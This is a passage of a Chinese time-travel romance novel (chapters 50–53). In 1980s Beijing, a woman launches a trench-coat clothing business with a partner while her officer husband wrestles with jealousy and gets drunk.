周北冀讨个没趣,只得改变策略,哄她:“我可不是要打你,谁让你自己非要闹。”
苗秀秀没好气甩开他,说:“你讲理讲不过我,就开始耍横的,耍横的我也不怕你,大不了我卷铺盖去店里住,你自己看家好了。”
“你别给我来真的,再说下去我要生气了。”周北冀最烦女人用离家出走威胁。苗秀秀想用这一招拿住他,那绝对不能够,他不会惯她这种毛病。
“你生气就生气,我管你呢,反正我和杨澍合作的事已经决定好了,你同不同意我都会去做。”苗秀秀站起来去厨房做饭,又一想,做什么饭,想吃自己做去,少吃一顿也不会饿死。
看到苗秀秀拿着她的小手袋出门,周北冀意识到不好,媳妇这是要罢工不做饭了,连叫也不叫自己一声,拿着饭票肯定是要奔食堂去了。
周北冀赶忙追上媳妇,拉住她胳膊。苗秀秀别过身子躲开他的手,自己下楼。周北冀加快脚步,搂住她的腰,低声说对不起。苗秀秀期初还有些不乐意,架不住他嘴上抹蜜连哄带抱。
“你明知道杨澍没什么错,打人家一顿纯属帮你妹妹找点面子,何必这么戴着有色眼镜看人,人家又不坏的。”苗秀秀也攥住丈夫的手。
周北冀也终于说了心里话,“就是替中中不值,喜欢人家十几年了,结果人家根本不当回事。中中那丫头你又不是不知道,家里娇生惯养,没经历过什么挫折,杨澍这回的拒绝,真把她给伤得很深。”
“可人生不就是这样么,谁能保证自己一辈子一帆风顺,我不也受了你半年冷落,难道我那个时候就不难过?凭什么她就要比别人特别,还是说她是城里姑娘天之娇女,必须人人都喜欢她,我是乡下人,活该不被人待见?”
苗秀秀认真起来的时候,说出来的话句句绵里藏针,周北冀简直无言以对。
尴尬半天,他才说:“我不是这个意思,我是看我妹妹那样,心疼而已。没有觉得她就应该被人捧着。”
“那我和杨澍合伙做点小生意,招你惹你了?”苗秀秀不依不饶。
“好好好,我不反对行了吧。我说不过你。”周北冀实在没辙,只得举白旗投降。苗秀秀提到那半年,他心里有愧,他亏待了她,让她受了那么多委屈。
“这还差不多。”苗秀秀握住周北冀的手,和他商量着去外面喝羊肉汤。
51. 第五十章
说通了周北冀,苗秀秀倒卖服装的事业进展得很顺利。
亲手给周北冀做了一件风衣,苗秀秀又按着全家人的尺寸每人送了一件,甚至周北冀几个要好的战友同学她也送了,虽然要花不少钱,但广告效应杠杠的,风衣很快就卖出去一百多件。
与此同时,苗秀秀还让杨澍把货送到他在西单夜市练摊儿那个哥们的摊位上代买,销量也是出奇的好。很多赶时髦的青年觉得风衣穿上以后再配上□□镜,特别像高仓健。
第一批三百多件卖出去以后,苗秀秀和杨澍商量,又定做了第二批,这回她拿到夜校去卖,送了彭娜和她丈夫一人一件。彭娜连连道谢,夸苗秀秀手巧。
“改天请你家高斌哥出来坐坐,我们一起吃顿饭,谈谈看我们能不能合作。”苗秀秀除了杨澍联系的那个服装厂,也想和彭娜丈夫高斌工作的这家服装厂联络联络,看看哪边做出来的成衣性价比更高。
做生意的人,鸡蛋是不能放在一个篮子里的,都得货比三家。
彭娜一口答应了,“我爱人也早就想见见你了,上回你给我做的连衣裙他看了直夸好看,还问是在哪个商场买的呢,我说是夜校同学做的,他还不相信,说款式比商场里还好。”
“哪里,高大哥过奖了,我就是学着人家电视里的人穿的衣服自己模仿做的。”苗秀秀暂时还不太想说自己会设计这件事,以她目前的身份,说是模仿的更容易令对方相信。
“说定了,等高大哥哪天有时间,我请你们吃饭。”
第一桶金赚得盆满钵满,苗秀秀并没有因此被冲昏头脑,和杨澍谈起这件事,苗秀秀说:“我们的风衣风靡一时,过一阵子肯定会有别人出仿品,那些工厂一旦大批量生产,他们铺面和渠道比我们广,我们就没有优势了。”
杨澍也赞同她的意见,“如果我们能创立一个品牌,再适当扩大经营规模,应该就能在市场上渐渐站住脚,现在这样家庭作坊式的小店面,没法批量生产。”
“创品牌可不是那么容易,需要几年甚至十几年时间积累口碑,我想我们不应该急着开公司,先把资本金积累到一定地步,我们再开公司更保险。”
“你说得对,我们虽然在风衣上赚了一笔,但还远远不够,我想给你雇一个帮手,你专心搞设计,让帮手替你裁剪缝制。”杨澍去过苗秀秀店里,觉得她一个人又要熬设计,又要动手裁剪太累了,裁剪这一道工序用不着设计师亲自上手。
“我也这么想过,但没找到合适的人,你能帮忙物色一个吗?”苗秀秀倒是考虑过周家的保姆小张,但是怕挖了墙角会让周家二老不高兴,毕竟勤快的小张在周家干了几年,周家人一直很满意。
杨澍早就想好了人选,“眼前就有个现成的,我家的保姆小桂,老实本分又好学,当保姆学不到什么手艺,我要是跟她说,让她学当裁缝,她肯定高兴,好歹是门手艺。”
“你让小桂不干保姆来当学徒,你家里人不会有意见?”
“没事,让我爸的秘书再给我家找一个小保姆就是了。”
这件事就这么说定了,杨家的保姆小桂同意后,苗秀秀正式开始带学徒。如杨澍所说,小桂学东西很快,人也勤快,不到两个月就学会了。
苗秀秀给公公做中山装的时候,她就在一旁打下手,她的缝纫针脚尤其好,苗秀秀对她很满意,让杨澍每个月给她加十块钱工资。
把公公的中山装送到周家那天,看到公公穿着新衣服高兴的样子,和婆婆赞叹的笑容,苗秀秀扬眉吐气,努力多日,她终于获得了周家人的认可,接下来就是她大展拳脚的时候到了。
沈芬玉把儿媳妇拉到一旁,说:“你给我做的羊毛大衣我穿到医院以后,好几个医生问我是在哪里买的,我说是儿媳妇给我做的,她们都想买布找你做,你要是忙得过来,我就把你小店的地址告诉她们,让她们去店里找你。”
“没事,我再忙也要替您的同事把衣服做出来,其他人的衣服可以往后压一压,不能耽误阿姨们穿大衣。”苗秀秀一想,又是一次商机啊,要是医院那群老阿姨穿满意了,她设计的那款大衣又可以热销一段时间。
“那好啊,你把地址写给我,我明天就带到院里去,替你宣传宣传。”沈芬玉现在彻底不反对儿媳妇做生意了,周北冀私下和她说过,秀秀这段时间挣了不少钱。
从公婆家出来,苗秀秀看看时间差不多了,没有回店里,直接骑车回家。周北冀平时要上课,学校也不放他出来,每个星期只有周末才有时间回家,相处时间本来就少,她周日白天还要去店里,因此周六晚上,她就是店里再忙也会空出时间给他做一顿好饭。
她回到家,打开门刚进屋,就看到周北冀从书房出来,跟他笑了笑。
周北冀上前接过她手里的包,问她:“去哪儿了?这么晚才回来?还是在店里忙得走不开?”
“没有,我去爸爸妈妈那边了,我把给爸爸做的中山装送了过去,爸爸穿上以后特别气派,一看就是个老干部。”苗秀秀去厨房洗手,扎上围裙准备做饭。
周北冀在一旁帮她洗菜打下手,说:“要是太累了,咱就随便吃点。”
“不累,我上午在菜市场买了只鸡,找老赵帮忙把鸡杀了,已经拔干净毛放在冰箱里,你帮我拿出来,我炒辣子鸡丁给你吃,余下的还可以做鸡汤面。”
苗秀秀吩咐周北冀把鸡从冰箱里拿出来之后,就把他撵出了厨房,让他帮忙去阳台上收一下衣服。
一个多小时后,红通通油亮亮的辣子鸡丁端上桌,周北冀拿起筷子尝了两口,香嫩可口,苗秀秀又把一大锅鸡汤面端到桌上,热得两只手放到耳朵上。
“真香,真好吃。”苗秀秀盛了一碗鸡汤面给周北冀,也给自己盛了一碗。
“还没吃,就自夸上了?”
“好不好吃看你的表情不就知道了,我的厨艺哪次失手过?”苗秀秀在鸡汤面里滴了几滴酱油和香油,问周北冀要不要。周北冀说不要,他觉得鸡汤面味道刚刚好,不需要再放调料。
“你要是不开裁缝店,开个小饭馆,我看生意应该也不错。”
“小饭店就算了,我只做饭给老公吃。”
苗秀秀哄丈夫有一手,周北冀听着很是受用,让她别忘记给老家寄些钱回去,快要进腊月了,离过年不远,她老家的妈妈哥哥肯定有需要用钱的地方。
“明天我就去寄,寄五百,足够他们过年了。”苗秀秀想好了,还要给家里寄些粮票过去。原主的妈妈以前舍不得吃舍不得穿,省下来的布票也都给原主用了,寄钱寄东西都是应该的。
“你嫁过来这么长时间也没回去过,今
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年过年我陪你回去一趟吧,正好我放寒假有时间。”周北冀主动说。
他能想得这么周到,苗秀秀有点感动,但是她并不情愿回去,她一向最怕冷,雁京有暖气还好一点,要是回到山区老家,冬天零下好几度,只怕会冻得受不了。
“不用吧,山区冬天很冷,还没有暖气,你过去会受不了,再说我嫁过来也才一年,不回娘家也没什么,明年春天天暖和了我们再回去也不迟。”苗秀秀没说自己怕冷,以怕周北冀受不了为理由,婉拒了回老家探亲的提议。
“也好。”周北冀在什么时候回娘家这件事上听苗秀秀安排,她愿意什么时候回去就什么时候回去,只要他有假期,他就陪着回去。
“今天回我爸妈那边,我妈没说什么吧?”周北冀随口问。
“没,妈就是说我给她做的羊毛大衣好看,她们院里好些老阿姨都看中了,要找我定做。”
“你的生意进展得很顺利嘛,我今天回家路上还看到有人穿风衣,和你做给我那件一模一样。”
“现在外面仿的很多,我们两批风衣卖出去以后就没再定做了,我们目前还是小本生意,比不上人家大厂家销售渠道多,不敢大批量生产,只能小范围卖卖。”
“做生意嘛,原始积累的时候不可能一下子扩大规模,等你们形成了比较稳定的顾客群,你可以在商场里租个柜台卖衣服,还有西单的夜市,听说夏天的时候也挺火的。”周北冀给媳妇出谋划策。
一说起生意,苗秀秀眼睛发亮,“你还帮我想过这些?”这男人能处,有事他真会帮忙。
周北冀笑笑,“我找人打听过,现在商场柜台租给个人的不多,大多数是租给厂家做直销,等将来市场近一步放开了,个体户应该可以去租柜台。”
“人家广东那边早就有这些了,咱们首都还不如人家。”
“政策都是一步步来的,你心急什么,怕耽误赚钱?”周北冀笑着瞅了媳妇一眼。媳妇对赚钱的热衷他都是看在眼里的,但是他并不会反对。
他自小生活在条件优渥之家,但也不是没过过苦日子和穷日子,父母受迫害被关进牛棚那些年,他和小妹在上海外公外婆家生活,外公外婆家的资本家老洋房虽然解放后住了几十户人家,但在解放前,据外婆说,整个三层洋房连带门口的大花园以前全是他们家的。
外公的古董字画和瓷器、外婆的各种值钱首饰,被冲到家里搞破坏的造反派破坏和抢走了不少,但也有藏在墙缝里、灶台里幸存下来的,正是靠着那些幸存的家当底子,他们和外婆一家才熬过了最艰难的岁月。
因此,对钱的好处,他和苗秀秀一样深有体会。
“你瞧着吧,我要赚很多很多钱,给咱家换个大房子,最好是四合院,换全套真皮沙发,换个大彩电,看着特别过瘾那种,还要给你买汽车,你喜欢什么车就给你买什么车。”苗秀秀想到她即将拥有的服装公司、跨国托拉斯,信心满满、得意洋洋。
周北冀冷哼一声,“我以为你要把我也换了,原来你还知道要给我买汽车。”苗秀秀妩媚地咯咯娇笑,“怎么会把你换了呢?我还等着你将来飞黄腾达,要当将军夫人呢。”
“还没睡觉,你就做起梦来。”
“梦想还是要有的,万一实现了呢,先定个小目标,赚他一个亿。”
52. 第五十一章
周北冀看着媳妇摇头晃脑的嘚瑟样子,摇了摇头,告诉她,裁军的事定下来了,最高领导人在军委座谈会上宣布了这个决定,正式启动则要等到第二年。
苗秀秀问:“爸爸会提前退休吗?”
周北冀说:“那倒不会,裁军不裁他那个级别的,裁的主要是四总部机关和下属单位,全国十几个军区也要精简,具体方案还不知道。”
“那你大哥二哥呢?”
“我大哥估计要调任,我二哥可能会转业到地方,他早就想回雁京了,二嫂也希望他能转业回家。”
“你呢?”
“我肯定不会转业,我爸也不会同意让我转业。”
“那你好好奋斗,小周将军,等你将来飞黄腾达不要忘记糟糠之妻。”
苗秀秀想了想,把杨澍想转业的事告诉周北冀,“要是他真的转业,到时候我们注册一家公司,这样就能去商场租柜台了。”
周北冀冷冷看了她一眼,没有说话。苗秀秀察觉到他不太高兴,只得说:“只是商业伙伴而已,你不要多想,杨澍有心上人的,他转业的目的就是为了能有机会和那姑娘结婚。”
“你怎么知道?他告诉你的?”周北冀更不高兴了,杨澍连这么私密的心事都告诉她,她还说他俩只是商业伙伴?
苗秀秀把杨澍和那个法国姑娘的事告诉周北冀,“杨澍说,等他赚够了钱,就去法国娶那个混血姑娘,他瞒着家里找人联系过她,那姑娘一直没结婚在等他。”
苗秀秀承认,自己当初听到杨澍这么说的时候还挺感动,一直以为他是个情场浪子,没想到只是表象。他对周中中不感兴趣就是不感兴趣,没有招惹过更没暧昧过。
“那姑娘一定很漂亮吧。”
“那当然啦,混血美女还能不漂亮,想想西哈努克亲王的夫人莫尼克公主,也是法裔混血,不漂亮吗?”
莫尼克公主是当时亚洲有名的大美人,经常跟着丈夫一起访华,几乎全国人民都知道她。
“那是挺漂亮的。”周北冀酸溜溜的说。难怪那小子瞧不上中中了,有了开朗热情的法国女郎,国内的女孩子就不够看了。
“不许你说别人漂亮,只能说我漂亮。”苗秀秀捧着脸眨巴眼睛做了个可爱的表情。周北冀笑了,筷子点了点她脑门。
雁京进了十二月以后晚上天凉,即便是大院里开始烧锅炉供暖气,房间里密封不好,依然不是特别暖和。
看到周北冀脱了军装后白衬衫外面穿的是卫生衣,苗秀秀问他,“你怎么不穿毛衣啊,不比卫生衣暖和?”
“毛衣穿在军装里不舒服,我不太喜欢,卫生衣里面是绒的,穿着很暖和。再冷我们就发军大衣了。”周北冀坐在沙发上看电视,最近电视台重播《加里森敢死队》,他又开始看,而且看得津津有味。
扭头看苗秀秀身上穿一件粉色毛衣,将窈窕腰肢勾勒得恰到好处,周北冀随口说:“你穿毛衣好看。”
“我这件是买的,我看到商场里有卖细羊毛线的,下回我去买不同颜色的毛线,找人给你织一件毛衣。”苗秀秀看到过彭娜穿一件挺好看的毛衣,彭娜说是她自己织的,准备找她帮忙织一件给周北冀。
“你不会织?”周北冀有些意外,苗秀秀手那么巧,会做衣服,居然不会织毛衣吗?他两个嫂子、大姐,甚至是她娇生惯养的小妹都会织毛衣。
“我不太会。”苗秀秀上辈子从小到大只见过别人织毛衣,自己一窍不通。“那你以前怎么给妈织了一条围巾?”周北冀俊朗的脸上满是狐疑,看着苗秀秀。难道她有了新的技能点,就把以前的技能点全忘记了?
遭了,忘记了原主会织毛衣,苗秀秀被他的目光盯得心虚,期期艾艾解释:“那个……围巾简单,毛衣不容易织。”
周北冀见她睫毛闪闪,看出来她是在说谎,很聪明地没有不再追问,说:“你会不会无所谓,反正我们部队上什么都发,我冬天里面穿绒衣绒裤已经穿习惯了。”
“没事,我找人给你织一件,你偶尔回家穿便装的时候可以穿。”
看到苗秀秀九点钟不到就上床钻在被窝里,周北冀扭过头先是皱眉,又是一笑,“怎么?觉得家里冷?”
苗秀秀点了点头,“不怎么暖和。我问过老赵了,他说给家属区供热的几个锅炉用了几十年都老化了,还得先供应将军楼那边,筒子楼这边就只能将就。”
“那没办法,后勤部管锅炉,全换了要花不少钱,要不给你买个电热毯?”周北冀走过来,看到媳妇拢着被子坐在那里看服装杂志,问她,“你最近是不是又没好好去夜校上课?”
苗秀秀抬起头看着他,又避开了他的视线,没说话。夜校那些课程对她来说没什么难度,尤其是英语,她闭着眼睛都能考过。
周北冀理了理她头发,抚摸她后颈,压低声音:“你就是装装样子,也要经常过去听课,不然你将来考试怎么办?”
“我肯定能考过的。”苗秀秀很有信心地说。
“我知道你能过。”周北冀看着苗秀秀,“你懂我的意思吗?”
“我懂。”苗秀秀心领神会地笑。
“那你早点睡。我看完几集电视就陪你。”周北冀见媳妇聪明伶俐,也就不点破,看他的电视去了。
苗秀秀的心里却无法平静。和周北冀之间那层窗户纸没捅破之前尚能维持现状,万一哪天发生意外,他知道了她的真实身份,他俩以后该如何相处?
人的感情的确是最难以控制的东西,刚穿过来的时候,她可没想过会和他产生什么感情,也不过就是抱着既来之则安之的心理,想在这个年代把日子过下去而已,随着相处日久,情愫渐渐滋生,想赶都赶不走。
可要是任由这么发展下去,万一哪天她再一次穿越,灵魂去了一个不知道什么年代什么地方,她该怎么办?发现她不见了,他会怎么样?
有了这些心思,苗秀秀睡了半天也没睡着,翻来覆去像是在摊煎饼,等周北冀也上床来睡,他的热身子一贴上她,她立刻像是惊弓之鸟,弹开了。
“你怎么了?”周北冀在被子底下伸手揽住苗秀秀,笑问:“你不是说冷,怎么还裸·睡啊?又不怕冷了?”
“反正一会也要脱,穿穿脱脱的多麻烦。”苗秀秀掩饰住不安的心情,换上笑脸。
周北冀探着身子关掉床头灯,把苗秀秀紧紧裹进怀里。新棉花做的被子相当暖和,又盖了两层,两个人的身体很快就热得像火炉,几番运动下来,额头上都出汗了。
“小周将军,你爱不爱我?”苗秀秀修长的手臂搂住丈夫的脖子,忽然问了他这个问题。
他之前说过,他俩还处在婚后培养爱情的阶段,她迫切地想知道,他对她的爱情培养得怎么样了。要是他的回答令她满意,她不介意也对他培养培养。
周北冀狡黠笑了一下,“我没爱过谁,不知道怎么样叫爱。”
狗男人,又避重就轻敷衍我,你都二十五了,恋爱也不是没谈过,能不知道什么是爱?苗秀秀腹诽着,不甘心地说:“怎么会不知道呢?爱就是情有独钟,就是你离不开我,就是我和你妈掉河里去了你也先救我。”
“那怎么行,
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我妈掉河里去了我哪能不救她,你会游泳你自己可以游上岸。”
“你妈也会游泳。”
“那我和你妈掉河里去了,你救谁?”周北冀狡猾地把皮球踢给苗秀秀。苗秀秀立刻说:“我妈不会游泳,我救我妈,你游泳游得那么快,不需要我救。”
“这不就结了,谁都要救自己妈,干嘛只给我出难题。”周北冀无奈。
苗秀秀偷笑,换了个提问方式,“那我问你,你是不是离不开我?给你一次重新选择的机会,一次换老婆的机会,你选我还是选别人?”
“那要是林青霞和你让我选,我可能选林青霞。”周北冀开玩笑地说。
“想得美,林青霞你这辈子就别指望了,再说她还比你大好几岁,我说的是别人,夏文竹、吉小楠、我,或者还有别的喜欢你的姑娘,让你重新选一次。”
“我选你,要是想选她们,早就选了。”
“要是又出现了一个姑娘,正好是你喜欢的类型,漂亮又有学历,家庭好工作也好,总之哪哪儿都好,长得还像林青霞,你会不会就不喜欢我,去喜欢她了?”苗秀秀心想,这样的人肯定是有的,只是出现的时间早晚。
你对我还在新婚迷恋期,等十年八年以后咱俩熟悉得变成了左手拉右手的关系,你心尖子上的那个类型出现了,会不会移情别恋可不好说。
“我都结婚了,别的姑娘再好又怎么样,我难道还能离婚娶她?人这一辈子总会遇到各种类型优秀的异性,一遇到好的就管不住自己,那得离多少次婚啊?”
周北冀虽然还年轻,对这个问题却有很清醒的认识,平常在家里受到的教育也是如此,人要管得住自己,要学会约束自己的行为,不然难以做成大事。周家的男人是要做大事的,不能被儿女情长牵绊。
对他这个回答,苗秀秀有点满意,但还是问他:“那万一呢,万一就有一个你特别喜欢的姑娘出现了,那种你一看到她就跟触电了一样、怎么看怎么喜欢的姑娘,她也喜欢你,你就一定不会动心吗?”
“你这么一说我就明白了,是有这样一个人。”周北冀有意卖了个关子,等苗秀秀在怀里动了一下,他才说:“这不就是你嘛,我怎么看你都顺眼,看不到你就特别想你,每次一碰你就跟触了电一样。”
苗秀秀咯咯笑出声,掐了一下周北冀的背,这家伙也太会了,情话一套套的。
“那你怎么不说你爱我?”
“如果你觉得这就是爱,那好像是有点。”
苗秀秀被周北冀惜字如金打败了,绕来绕去他就是不愿意痛痛快快承认,直男腹黑狡猾起来的时候,也是不容易对付的。周北冀心里肯定什么都明白,但是他属于轻易不会表态的那种人,哪怕是对爱情,也是淡然处之,绝不挂在嘴边上。
嫌被子里太热,苗秀秀放开周北冀,侧过身睡觉去了,两个人盖一床被子其实并不好受,无论谁翻身另一个人都能感觉到,有时候离得远些背对着背还容易漏风,好在周北冀不怎么打呼噜,不然苗秀秀肯定早就不和他睡一个被窝。
周北冀睡眠好,没多久就睡着了,苗秀秀折腾了半天还没睡着,棉花被子缓和是暖和,两层盖在身上也太沉太硬了,男人身上火性大,靠着他像是靠着个火炉,苗秀秀悄悄坐起来,把上面那层被子掀开一半,总算不那么沉那么热了,稍稍松了口气。
要是能买到蚕丝被和羽绒被就好了,可惜这些要好几年后市场上才能买到,苗秀秀脑子转过无数商机,可都被她一一否决了,贪多嚼不烂,她目前还是先守着服装店,把服装生意做大再说。
53. 第五十二章
元旦前一天,苗秀秀和彭娜两口子说好了,请他们去东来顺吃涮羊肉,也叫上了杨澍。既然两人有合伙的打算,就要资源共享。
彭娜丈夫高斌去夜校接媳妇下课的时候见过苗秀秀几次,也见过同样去接媳妇的周北冀,因此一看到杨澍,微微一愣,这也不是苗秀秀的丈夫啊。
苗秀秀主动介绍,“高大哥、彭姐,这是军区政治部的杨干事,专门负责文工团事务,每次演出的服装都是经他的手采购,我那个小店的服装生意就是跟他合伙开的。”
这么一说,高斌和彭娜就明白了,心说这小苗不愧是高干家儿媳妇,关系网挺厉害,和他们合作,应该不愁没销路,后勤管采购的,权力大得很。
铜火锅端上来以后,四人等水烧开了涮羊肉,边吃边谈,聊得很投机。
高斌和杨澍推杯换盏,互相称兄道弟,高斌告诉杨澍,他们厂的老厂长就快退休了,他准备去竞聘服装厂下一任厂长。
“不是我说,现在我们厂的经营观念太陈旧,厂子里一千多口人,干多干少一个样、干好干坏一个样,工人根本没有积极性,设计观念也陈旧,今年春天我和供销科长去广州参加广交会,人家南方那些服装厂生产的衣服不要太好看,我们的已经整整落伍一个时代。”
高斌难得遇上知音,想说的话太多。
杨澍说:“那边靠近香港,设计出来的衣服肯定时髦,我在法国留学的时候,看到巴黎时装周的海报,人家那才叫服装产业,有专门展示服装的模特走T台。”
“什么叫走T台?”彭娜不解地问。
苗秀秀解释给她听,“就是T型舞台,两边设观众座位,观众可以从多角度看台上的模特展示服装,是国外时装周最常见的一种展示服装的方式,台下坐着的人可能是时尚杂志编辑,也可能是贵族千金和富豪太太们,想让她们掏钱消费时装,就得把服装以最好的方式呈现出来。”
苗秀秀这么一说,彭娜就明白了。
“前两年皮尔卡丹在北京饭店办过一场时装表演,我因为在外地出差没有赶上参加,一直让我很遗憾,要是能走出国门看看就好了,外面的世界已经发展得超出我们的想象。”高斌和这个时代很多人一样,怀揣梦想,但是碍于环境因素,没有见大世面的条件和机会。
“以后会有机会的,如果我们的合作能成功,将来我们一定能把我们生产的服装卖到海外市场。”杨澍很有信心。
国家很快将迎来重大变革,他这种预感越来越强烈,这些天他一直试图说服父母同意他退出现役。他觉得自己并不适合当军人,宁愿在时代的洪流里接受浪潮的洗礼,去做一番属于他自己的事业。
虽然父母还没有答应,但是他相信,只要他坚持,假以时日总能说通他们。
高斌说:“小苗上回送给我和彭娜的风衣我觉得就很不错,我看过很多解放前的老杂志和电影剧照,风衣其实民国时期就有了,国外的电影里也经常有人穿,说明这种服装的设计非常经典,以后也会长盛不衰。”
苗秀秀附和他,“高大哥你的眼光真好,风衣确实已经流行了几十年,三四十年代的好莱坞电影里很多男明星都穿过风衣,就算是现在,依然热销,我们只要把握好时机,把经典款式稍作修改,就可以变成我们自己的设计。”
彭娜在一旁说:“风衣雨天穿也很方便,料子厚能挡风遮雨,我们可以设计男女不同的款式,一定好卖,现在市面上的服装样式太少了,我那天逛商场,都没看到什么好看的衣服。”
“是啊,穿来穿去就那几个款式,大家都穿腻了。”杨澍说。
四个人聊得热火朝天,完全没注意到周北冀和几个穿军大衣的男人从外面进来。叶耀然头一个看到苗秀秀和杨澍,但是他很有眼力见儿的没有做声。
程晋衡也看到了,随口说:“呦,那不是你媳妇儿吗?边上那是杨澍吧?他俩怎么在一起吃饭?”
程晋衡常年在南海舰队服役,一年也回不了一次雁京,年底休假才得了几天空回来,不知道周北冀、周中中和杨澍之间的恩怨。
叶耀然胳膊肘捅了捅程晋衡,让他别哪壶不开提哪壶。
周北冀那回在篮球场打杨澍,很多人都看到了,知道的是他替他妹妹周中中打抱不平,不知道的还以为是杨澍和苗秀秀走太近,周北冀吃醋了要警告杨澍,因此当着周北冀的面,都不会提到杨澍。
“又不是只有他俩,不是还有别人吗,都是熟人,一起吃顿饭没什么。傅阳把包间都订好了,我们去包间吧。”周天祁打圆场,向叶耀然使了个眼色,推搡着周北冀进包间去。
周北冀本来也没想生气,给他们这么一说反而心里有点不痛快了,苗秀秀前两天只告诉他要请彭娜两口子吃饭,说她丈夫高斌是服装厂供销科长,当时他听在耳朵里,并没有放在心上,他要是知道他们吃饭会带上杨澍,肯定不能痛快答应。
苗秀秀一个已婚小媳妇,和杨澍那样一个未婚大小伙子经常来往,被人看到了不被说闲话才怪。
这一顿饭,周北冀吃得味同嚼蜡,心里老惦记着外面那两个人,可是当着这么多哥们儿、发小的面又不好表现出来。媳妇和别人吃顿饭而已,他要是表现得小肚鸡肠,说出去也不是他的作风,可心里,怎么就那么不痛快呢?
苗秀秀哪知道周北冀在楼上包间里喝闷酒,和杨澍、彭娜夫妇言谈甚欢。
1984年12月31日,这是个具有划时代意义的伟大日子,未来的服装公司、跨国托拉斯董事长苗秀秀女士,和她的三个合作伙伴、公司创始人股东,正式会面了,星辰大海的征途,走出了第一步。
而就在同一天,苗董事长的丈夫、未来的小周将军喝得不省人事,是被几个战友抬回家的。
和杨澍告别,苗秀秀挽着彭娜去逛商场,她们先是去了王府井百货,又去了市百货大楼,选购了给周北冀织毛衣的羊毛线以后,苗秀秀又给自己买了羊毛裤、棉鞋和秋衣秋裤,雁京的冬天太冷了,这个年代的物资又太匮乏,逛遍了商场也看不到好看的冬装。
选了几块布料,又在彭娜的介绍下去胡同里的某个小店买了几斤棉花,苗秀秀准备自己做大衣和棉服。
买了一大堆东西,苗秀秀回到店里的时候已经是下午三点钟,正准备开始干活,舒华到店里找她,告诉她,“你快回去看看吧,你家周北冀喝多了,耀然和周天祁好不容易才把
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他抬回家,你一直没回去,他们让我过来找你,你赶快回家去照顾一下小周。”
“啊?喝多了?怎么会喝多了?他在哪儿喝的?”苗秀秀一听说周北冀喝多了还得人家把他抬回家,火苗蹭蹭蹭蹿上头顶。他还是个军人呢,知不知道自己身份,喝醉了影响多不好。
“好像程晋衡从部队回来探亲,他们几个去东来顺吃涮羊肉,不知道怎么就多喝了几杯。”舒华并不知道内情。叶耀然没告诉她。
苗秀秀却是一听就明白,无非就是那家伙看到自己和杨澍一起吃饭,吃醋了呗。
家里,周北冀躺在床上,叶耀然拿着毛巾坐在边上替他擦汗。这家伙喝多了倒也不闹,就是颠来倒去说胡话。
“秀,在不在?秀秀呢,秀秀去哪里了?我要找秀秀。”周北冀嘴里嘟嘟囔囔始终是这几句话。
叶耀然初时听着好笑,听多了就没劲,说:“秀秀不在家,不是跟你说了好多遍了,你安静会行不行?”
“秀秀去哪儿了?”周北冀睁开眼睛,看不到媳妇,又开始嘟囔。
“已经去找了,你安心躺着吧。”叶耀然快被他烦死了。
听到开门声,叶耀然顿时如蒙大赦,丢下毛巾跑去门口一看,苗秀秀提着大包小包回来了,忙兴奋地上前帮她提手里的东西。
“唉,你快看看去,你家周北冀找你一中午了,一直叫你名字,问你去哪儿了。”叶耀然催促苗秀秀过去看看。
苗秀秀走到床边,看到周北冀脸上盖着毛巾,把毛巾拿开,见他脸红红的,试了试他额头的温度,还好没发烧。
“他怎么回事,怎么喝成这样?”
“我们也不知道,他平常不这样。”叶耀然自然不好说周北冀看到她和杨澍一起吃饭闹脾气了,打了个哈哈,找理由离开,“我还有事,先回去了,小苗你好好照顾他。”
送走他,苗秀秀去厨房倒了杯水,调上蜂蜜,端到卧室床边,把周北冀扶起来一点,喂他把蜂蜜水喝下去,闻到他一身的酒气,不禁叹了口气,这是喝了多少啊,喝得都快不省人事了。
“秀秀,在不在?秀秀——”周北冀喝了水,依然没认出来身边的就是媳妇。“我在,大少爷,你醒醒酒。”苗秀秀去洗手间淘洗毛巾,把热毛巾滴上几滴提神醒脑的花露水,拿来给他擦脸。
香味令周北冀身躯一震,他终于认出来坐在床边的是苗秀秀,咧着嘴跟他傻笑,“你回来啦?”苗秀秀本以为他认出自己的时候会因为醋意而生气,没想到却是这种表情,轻轻摸他的脸,“喝傻了嘛你?傻笑什么呢?”
“看到你就高兴。”周北冀探着身子想坐起来,去抱抱苗秀秀,努力了半天却还是倒了下去。苗秀秀看到他这副样子哭笑不得,只得拼着力气把他拖拽起来,替他脱掉身上的军装军裤。
男人到底不会照顾人,叶耀然他们几个把他抬回来了,却不知道替他脱掉外衣,一直穿着外衣盖被子,难怪他怎么都不舒服。
外衣脱掉以后,身上少了束缚,周北冀睡得舒服多了。苗秀秀把中午买的东西归置好以后,去厨房灌了个热水袋,塞到周北冀被窝里,看他呼吸均匀,料想已经睡踏实了,放心去做自己的事情。
54. 第五十三章
为了过元旦,苗秀秀已经买好了韭菜、茴香、大白菜和肉,准备包饺子蒸包子,另外她还找李嫂的老乡买了一大扇羊排,准备烤羊排、炖羊肉汤喝。
天快黑的时候,周北冀才醒过来,拥着被子坐起来,有种不知身在何处的感觉,想了半天才想起来中午喝酒的事,但是后面发生了什么,他没有一点印象。
看到电视亮着,周北冀下床过去,看到他小媳妇正裹着他的军大衣坐在沙发上剥栗子吃,四目相对,她亮晶晶的眼睛望着他,他有些心虚,默不作声去洗手间。
洗了把脸,他才感觉自己彻底清醒过来,中午的不愉快像是窗户玻璃上的水蒸气一样,被房间里的烟火气一蒸,已经没有了具体形象,只剩下湿而模糊的影子。
往媳妇身边凑过去,周北冀挨着她坐下,和她一起剥栗子吃。
“怀柔的栗子真好吃。”周北冀一口气吃了好几个。苗秀秀认真地看着他,见他耳朵尖还是红的,问他:“你的酒醒了?”
“醒了。”周北冀无声地笑。
“你喝多了会变傻,你知不知道?”苗秀秀等着他主动交代。
周北冀没说话,往嘴里塞了一颗剥好的栗子。苗秀秀抱住他,往他怀里蹭蹭撒娇,“中午你都看到了?你生气了啊?生气也别喝那么多酒,喝酒多伤身。”
“好久没喝了,没想到会醉。”
“那你承认你是生气才喝的?我不是早就和你解释过杨澍的事,你心里为什么老是过不去呢?我都跟你说了和他只是合伙做生意。”
苗秀秀可不想因为杨澍影响他俩的关系,他俩目前的婚姻她还是比较满意的,彼此有一定感情、没有孩子的负担,经济也过得去,这种平衡稳定的状态非常有利于她发展事业。
周北冀没有说话,低着头剥栗子,剥好了一颗就送到嘴里,显然是不想和她继续这个话题。他意识到自己对杨澍有心结,不是因为他狭隘,而是他越来越害怕失去她。
